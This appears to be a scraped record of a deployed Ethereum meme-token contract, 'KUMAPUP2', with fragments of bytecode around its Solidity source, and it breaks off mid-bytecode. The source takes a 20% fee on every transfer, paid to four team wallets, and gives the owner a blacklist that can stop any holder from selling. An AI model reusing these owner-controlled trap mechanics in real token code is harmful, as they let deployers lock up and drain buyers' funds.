5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990612b73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990612a93565b60405180910390fd5b600081116113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90612b53565b60405180910390fd5b6002600a819055506008600b8190555061140d6108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147b575061144b6108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118c757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115245750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152d57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561162e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116465750600f60179054906101000a900460ff165b156116f65760105481111561165a57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116a557600080fd5b601e426116b29190612d09565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117a15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117f75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561180d576002600a819055506008600b819055505b60006118183061074f565b9050600f60159054906101000a900460ff161580156118855750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561189d5750600f60169054906101000a900460ff165b156118c5576118ab81611aa4565b600047905060008111156118c3576118c24761193b565b5b505b505b6118d2838383611d2c565b505050565b600083831115829061191f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119169190612a71565b60405180910390fd5b506000838561192e9190612dea565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61198b600284611d3c90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119b6573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a07600284611d3c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a32573d6000803e3d6000fd5b5050565b6000600854821115611a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7490612ab3565b60405180910390fd5b6000611a87611d86565b9050611a9c8184611d3c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611adc57611adb612fbf565b5b604051908082528060200260200182016040528015611b0a5781602001602082028036833780820191505090505b5090503081600081518110611b2257611b21612f90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bc457600080fd5b505afa158015611bd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bfc919061252b565b81600181518110611c1057611c0f612f90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c7730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611107565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cdb959493929190612bee565b600060405180830381600087803b158015611cf557600080fd5b505af1158015611d09573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d37838383611db1565b505050565b6000611d7e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f7c565b905092915050565b6000806000611d93611fdf565b91509150611daa8183611d3c90919063ffffffff16565b9250505090565b600080600080600080611dc387612041565b955095509550955095509550611e2186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eb685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0281612151565b611f0c848361220e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f699190612bd3565b60405180910390a3505050505050505050565b60008083118290611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fba9190612a71565b60405180910390fd5b5060008385611fd29190612d5f565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050612015683635c9adc5dea00000600854611d3c90919063ffffffff16565b82101561203457600854683635c9adc5dea0000093509350505061203d565b81819350935050505b9091565b600080600080600080600080600061205e8a600a54600b54612248565b925092509250600061206e611d86565b905060008060006120818e8787876122de565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d7565b905092915050565b60008082846121029190612d09565b905083811015612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90612af3565b60405180910390fd5b8091505092915050565b600061215b611d86565b90506000612172828461236790919063ffffffff16565b90506121c681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612223826008546120a990919063ffffffff16565b60088190555061223e816009546120f390919063ffffffff16565b6009819055505050565b6000806000806122746064612266888a61236790919063ffffffff16565b611d3c90919063ffffffff16565b9050600061229e6064612290888b61236790919063ffffffff16565b611d3c90919063ffffffff16565b905060006122c7826122b9858c6120a990919063ffffffff16565b6120a990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122f7858961236790919063ffffffff16565b9050600061230e868961236790919063ffffffff16565b90506000612325878961236790919063ffffffff16565b9050600061234e8261234085876120a990919063ffffffff16565b6120a990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237a57600090506123dc565b600082846123889190612d90565b90508284826123979190612d5f565b146123d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ce90612b13565b60405180910390fd5b809150505b92915050565b60006123f56123f084612c88565b612c63565b9050808382526020820190508285602086028201111561241857612417612ff3565b5b60005b85811015612448578161242e8882612452565b84526020840193506020830192505060018101905061241b565b5050509392505050565b600081359050612461816132b7565b92915050565b600081519050612476816132b7565b92915050565b600082601f83011261249157612490612fee565b5b81356124a18482602086016123e2565b91505092915050565b6000813590506124b9816132ce565b92915050565b6000815190506124ce816132ce565b92915050565b6000813590506124e3816132e5565b92915050565b6000815190506124f8816132e5565b92915050565b60006020828403121561251457612513612ffd565b5b600061252284828501612452565b91505092915050565b60006020828403121561254157612540612ffd565b5b600061254f84828501612467565b91505092915050565b6000806040838503121561256f5761256e612ffd565b5b600061257d85828601612452565b925050602061258e85828601612452565b9150509250929050565b6000806000606084860312156125b1576125b0612ffd565b5b60006125bf86828701612452565b93505060206125d086828701612452565b92505060406125e1868287016124d4565b9150509250925092565b6000806040838503121561260257612601612ffd565b5b600061261085828601612452565b9250506020612621858286016124d4565b9150509250929050565b60006020828403121561264157612640612ffd565b5b600082013567ffffffffffffffff81111561265f5761265e612ff8565b5b61266b8482850161247c565b91505092915050565b60006020828403121561268a57612689612ffd565b5b6000612698848285016124aa565b91505092915050565b6000602082840312156126b7576126b6612ffd565b5b60006126c5848285016124bf565b91505092915050565b6000806000606084860312156126e7576126e6612ffd565b5b60006126f5868287016124e9565b9350506020612706868287016124e9565b9250506040612717868287016124e9565b9150509250925092565b600061272d8383612739565b60208301905092915050565b61274281612e1e565b82525050565b61275181612e1e565b82525050565b600061276282612cc4565b61276c8185612ce7565b935061277783612cb4565b8060005b838110156127a857815161278f8882612721565b975061279a83612cda565b92505060018101905061277b565b5085935050505092915050565b6127be81612e30565b82525050565b6127cd81612e73565b82525050565b60006127de82612ccf565b6127e88185612cf8565b93506127f8818560208601612e85565b61280181613002565b840191505092915050565b6000612819602383612cf8565b915061282482613013565b604082019050919050565b600061283c602a83612cf8565b915061284782613062565b604082019050919050565b600061285f602283612cf8565b915061286a826130b1565b604082019050919050565b6000612882601b83612cf8565b915061288d82613100565b602082019050919050565b60006128a5602183612cf8565b91506128b082613129565b604082019050919050565b60006128c8602083612cf8565b91506128d382613178565b602082019050919050565b60006128eb602983612cf8565b91506128f6826131a1565b604082019050919050565b600061290e602583612cf8565b9150612919826131f0565b604082019050919050565b6000612931602483612cf8565b915061293c8261323f565b604082019050919050565b6000612954601783612cf8565b915061295f8261328e565b602082019050919050565b61297381612e5c565b82525050565b61298281612e66565b82525050565b600060208201905061299d6000830184612748565b92915050565b60006040820190506129b86000830185612748565b6129c56020830184612748565b9392505050565b60006040820190506129e16000830185612748565b6129ee602083018461296a565b9392505050565b600060c082019050612a0a6000830189612748565b612a17602083018861296a565b612a2460408301876127c4565b612a3160608301866127c4565b612a3e6080830185612748565b612a4b60a083018461296a565b979650505050505050565b6000602082019050612a6b60008301846127b5565b92915050565b60006020820190508181036000830152612a8b81846127d3565b905092915050565b60006020820190508181036000830152612aac8161280c565b9050919050565b60006020820190508181036000830152612acc8161282f565b9050919050565b60006020820190508181036000830152612aec81612852565b9050919050565b60006020820190508181036000830152612b0c81612875565b9050919050565b60006020820190508181036000830152612b2c81612898565b9050919050565b60006020820190508181036000830152612b4c816128bb565b9050919050565b60006020820190508181036000830152612b6c816128de565b9050919050565b60006020820190508181036000830152612b8c81612901565b9050919050565b60006020820190508181036000830152612bac81612924565b9050919050565b60006020820190508181036000830152612bcc81612947565b9050919050565b6000602082019050612be8600083018461296a565b92915050565b600060a082019050612c03600083018861296a565b612c1060208301876127c4565b8181036040830152612c228186612757565b9050612c316060830185612748565b612c3e608083018461296a565b9695505050505050565b6000602082019050612c5d6000830184612979565b92915050565b6000612c6d612c7e565b9050612c798282612eb8565b919050565b6000604051905090565b600067ffffffffffffffff821115612ca357612ca2612fbf565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1482612e5c565b9150612d1f83612e5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5457612d53612f32565b5b828201905092915050565b6000612d6a82612e5c565b9150612d7583612e5c565b925082612d8557612d84612f61565b5b828204905092915050565b6000612d9b82612e5c565b9150612da683612e5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ddf57612dde612f32565b5b828202905092915050565b6000612df582612e5c565b9150612e0083612e5c565b925082821015612e1357612e12612f32565b5b828203905092915050565b6000612e2982612e3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7e82612e5c565b9050919050565b60005b83811015612ea3578082015181840152602081019050612e88565b83811115612eb2576000848401525b50505050565b612ec182613002565b810181811067ffffffffffffffff82111715612ee057612edf612fbf565b5b80604052505050565b6000612ef482612e5c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2757612f26612f32565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132c081612e1e565b81146132cb57600080fd5b50565b6132d781612e30565b81146132e257600080fd5b50565b6132ee81612e5c565b81146132f957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b67ba3fc19055363dca2d797fbc0bad91a7bb018e38f5288b56d54a373c9bbe964736f6c63430008070033
[ 13, 5 ]
0xf2413152ad5017de841ce24a0368bd244d783a44
// SPDX-License-Identifier: Unlicensed //Join the telegram @KumaPup pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KUMAPUP2 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; address payable private _feeAddrWallet4; string private constant _name = "Kumapup2"; string private constant _symbol = "KUMAPUP2"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xC37274110563Cc3765e5296Ae4A8D43234EBEa53); _feeAddrWallet2 = payable(0x7Bb9D0b84B99F2D3e8259513919F49Bbb5c0fc85); _feeAddrWallet3 = payable(0xf1915a0E57f6c12BeD233dD2243567C7d2e110a7); _feeAddrWallet4 = payable(0x7b35C8591Ae7E0e15Cd270E6f47bB124e8D82eaB); _rOwned[address(this)] = _rTotal.div(10).mul(8); _rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(10).mul(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet3] = true; _isExcludedFromFee[_feeAddrWallet4] = true; emit Transfer(address(0),address(this),_tTotal.div(10).mul(8)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(10).mul(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 20; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(100).mul(31)); _feeAddrWallet2.transfer(amount.div(100).mul(23)); _feeAddrWallet3.transfer(amount.div(100).mul(23)); _feeAddrWallet4.transfer(amount.div(100).mul(23)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612c1d565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127af565b61042a565b60405161016d9190612c02565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612d7f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612760565b610459565b6040516101d59190612c02565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906126d2565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612df4565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061282c565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b50610299600480360381019061029491906126d2565b61074f565b6040516102a69190612d7f565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e89190612b34565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612c1d565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127af565b610959565b6040516103509190612c02565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906127eb565b610977565b005b34801561038e57600080fd5b50610397610ac7565b005b3480156103a557600080fd5b506103ae610b41565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612724565b61109e565b6040516103e49190612d7f565b60405180910390f35b60606040518060400160405280600881526020017f4b756d6170757032000000000000000000000000000000000000000000000000815250905090565b600061043e6104376111ea565b84846111f2565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846113bd565b610527846104726111ea565b6105228560405180606001604052806028815260200161346660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d86111ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c29092919063ffffffff16565b6111f2565b600190509392505050565b61053a6111ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612cdf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106336111ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612cdf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e6111ea565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c81611a26565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c65565b9050919050565b6107a86111ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612cdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4b554d4150555032000000000000000000000000000000000000000000000000815250905090565b600061096d6109666111ea565b84846113bd565b6001905092915050565b61097f6111ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612cdf565b60405180910390fd5b60005b8151811015610ac357600160066000848481518110610a57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffff